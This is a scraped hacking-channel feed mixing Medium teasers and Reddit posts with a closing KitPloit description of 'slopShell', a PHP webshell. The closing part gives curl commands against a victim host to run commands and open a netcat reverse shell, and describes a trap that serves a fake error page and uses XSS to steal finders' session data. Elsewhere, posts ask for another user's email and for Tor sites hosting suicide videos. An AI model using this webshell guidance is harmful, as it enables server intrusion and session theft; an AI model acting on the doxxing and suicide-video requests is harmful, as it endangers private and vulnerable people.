Hacking on Medium
NorthSec CTF write-up — part 1

https://cdn-images-1.medium.com/max/955/0*OObNBhNQzuJODJKE.png
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
ETHICAL HACKING

In this article we going to talk about

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Secure Backup and Storage (Part 3/3)

https://cdn-images-1.medium.com/max/739/1*Vqoei3lRTPI_TrStreu5Hw@2x.jpeg
Turing Research Network

Continue reading on Medium »

Deep Web
Looking for any sort of help with deep web

Im looking to try and find some site that helps to loose weight, increase penis size or gay porn I dont want illegal porn just stuff you wouldnt find normally to see whats out there, as for weight loss and penis enlargement wether its injections or pills just wanna try something out and see it it will actually help

submitted by /u/ParisDLux
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Concerned about my local network security

Hey guys,

I'm not very educated in IT security and was hoping to look for some clarity on whether I am protected from skilled and malicious people.

I live in a shared apartment, in an apartment complex. My housemate is well versed in coding and we recently had a software engineering student move into the complex. I don't know anything about the software engineer but my housemate has tendencies to be very paranoid and a somewhat controlling person. I guess I am now the paranoid one.

We have a WIFI network which uses a Sagemcom F@ST 5355 router, earlier I tried to log into the router's administration page using the credentials on the unit and the password was incorrect. Perhaps my housemate has already changed the credentials for security reasons but I am yet to ask him about that.

I use an Imac and Iphone, both of which are always connected to NordVPN clients, I also use 1Password for storing personal information.

I'm a little bit concerned about being monitored and would like some peace of mind if possible. I've read a little bit about packet sniffing but I have no ideas what other tools are available to someone monitoring my activity.

I read in a thread that I could use Nmap to see if there is any suspicious activity but I am clueless to what the information could mean.

I have a log from a scan but not sure if I should post the data online as I have no idea if that information can be used against me. I am more than happy to answer any questions if need be.

Sorry guys I know I should put in the hard work and learn this trade myself to answer my own questions but as we all know, networking is a vast field of knowledge to obtain and I'm hoping someone here is friendly enough to help me sleep a bit better.

I'm thinking of resetting the router to factory settings when my housemate goes to sleep and then quickly change the password and share that with my house mate if he asks. I'm not even sure if someone in the building can determine my router's IP address based on the SSID, go in and change the password. I'm not even sure if there are any valuable tools they can use if gaining access.

Anyone willing to share some advice with me? I'm considering getting an IT technician in to double check security but no idea what that would cost, if they can just rip me off and/or fill my head full of bullshit to turn a profit.

Thanks very much.

submitted by /u/HotFugginManGravy69
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can anybody send me the email address of this user

U/asswipe473 it was my account but my phone broke and I can’t remember the email

submitted by /u/Responsible-Ant8035
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
COMO LOCALIZAR UN DISPOSITIVO MÓVIL

https://cdn-images-1.medium.com/max/1111/0*REBpd_DAWpm-9SM7.png
INTRODUCCIÓN

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
we’re going to be covering a new training course called growth hacking unlocked, where I teach you…

https://cdn-images-1.medium.com/max/2600/1*ZIsvZXYMCVSXoqpmMSHerQ.jpeg
•want to learn more about the growth of hacking unlocked go and check out this link below 👇its free of cost.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
suicide

Does anyone know tor sites where people send suicideo videos?
I found one on google long time ago but I dont remember

submitted by /u/ChocoStick123
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
VPN vs VPS

Whilst not directly about hacking.

I wanted to understand, if it would be safer and more private to set up on own VPN through a VPS.

Was planning on starting a service for my friends and acquaintances.

Would you recommended this?

I'll be making the code open source, with absolutely no data logging.

Any advice is greatly appreciated!

submitted by /u/Fit_Potato101
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What OS should I install on my old iMac ?

Hello!

I got my hands on a slightly older iMac, but still useful to me. It's a 21.5-inch, Late 2009 with High Sierra, newer OS no longer supports; it has a 3GHz processor and 8GB RAM, the hard drive is a bit squeaky. I don't really like the fact that due to the older operating system I can't install the latest programs, and I was thinking of installing Windows or Ubuntu. Which do you think would work best?

submitted by /u/crh10001
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Researchers Demonstrate 2 New Hacks to Modify Certified PDF Documents

https://external-preview.redd.it/vXYSt-dCwUirz3H5_nhOm7fgDcmiaiH8Le-EvGvkixQ.jpg?width=640&crop=smart&auto=webp&s=0a22d25c3f414e808a7d393f8defd496bac65b98 submitted by /u/CodePerfect
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

slopShell - The Only Php Webshell You Need
http://www.kitploit.com/2021/05/slopshell-only-php-webshell-you-need.html

___________________________
@hacking_Attack
@Hacking_Video

The issue with this detection happening is i have not found a viable workaround for the keyword of eval if there was no call to eval this script would be undetectable.
Setup
Ok, so here we go folks, there was an itch I had to write something in PHP so this is it. This webshell has a few bells and whistles, and more are added everyday. You will need a pgsql server running that you control. However you implement that is on you. Debian: apt install -y postgresql (https://www.kitploit.com/search/label/PostgreSQL) php php-pear && python -m pip install proxybroker --user RHEL Systems: dnf -y -b install postgresql-server postgresql php php-pear && python -m pip install proxybroker --user WIN: install the php msi, and make sure you have an active postgresql server that you can connect to running somewhere. figure it out. Once you have these set up properly and can confirm that they are running. A command I would encourge using is with pg_ctl you can create the DB that way, or at least init it and start it. Then all the db queries will work fine.
How to interact.
Firstly, you need to choose a valid User-Agent to use, this is kind of like a first layer of protection (https://www.kitploit.com/search/label/Protection) against your webshell being accidentally stumbled upon by anyone but you. I went with sp/1.1 as its a non typical user-agent used. This can cause red flags in a pentest, and your access or script to be blocked or deleted. So, be smart about it. Code obfuscation (https://www.kitploit.com/search/label/Obfuscation) wouldnt hurt, I did not add that in because thats on you to decide. To use the shell, there are some presets to aid you in your pen test and traversal of the machine. I did not add much for windows, because I do not like developing for windows. If you have routines or tricks added or know about, feel free to submit an issue with your suggestion and ill add it. An example of how to use this webshell with curl: curl https://victim/slop.php?qs=cqP -H "User-Agent: sp/1.1" -v or to execute custom commands: curl https://victim/slop.php --data "commander=id" -H "User-Agent: sp/1.1" -v Or to attempt to establish a reverse shell to your machine: curl https://victim/slop.php --data "rcom=1&mthd=nc&rhost=&rport=&shell=sh" -H "User-Agent: sp/1.1" -v mthd = the method you want to use to establish the reverse shell, this is predefined in the $comma array, feel free to add to it, optional, if it is null, the script will choose for you. rhost = you, now this and the rport are not required, as it defaults to using netcat with the ip address in the $_SERVER["REMOTE_ADDR"] php env variable. rport = your listener (https://www.kitploit.com/search/label/Listener) port, the default was set to 1634, just because. shell = the type of system shell you want to have. I know bash isnt standard on all systems, but thats why its nice for you to do some system recon before you try to execute this command. Here is the better part of this shell. If someone happens upon this shell without supplying the exact user agent string specified in the script, this shell will produce a 500 error with a fake error page then it will attempt some XSS to steal that users session information and sends it back to a handler script on your server/system. This will then attempt to store the information in a running log file. If it is unable to do so, well the backup is your logs. Once the XSS has completed, this shell will redirect the user back to the root(/) of the webserver. So, youll steal sessions if someone finds this, can even beef it up to execute commands on the server on behalf of the user, or drop a reverse shell on the users browser through Beef or another method. The possibilities are legit endless.
Images of use cases

___________________________
@hacking_Attack
@Hacking_Video

In browser, navigated to without the proper user-agent string. (1st level of auth)

___________________________
@hacking_Attack
@Hacking_Video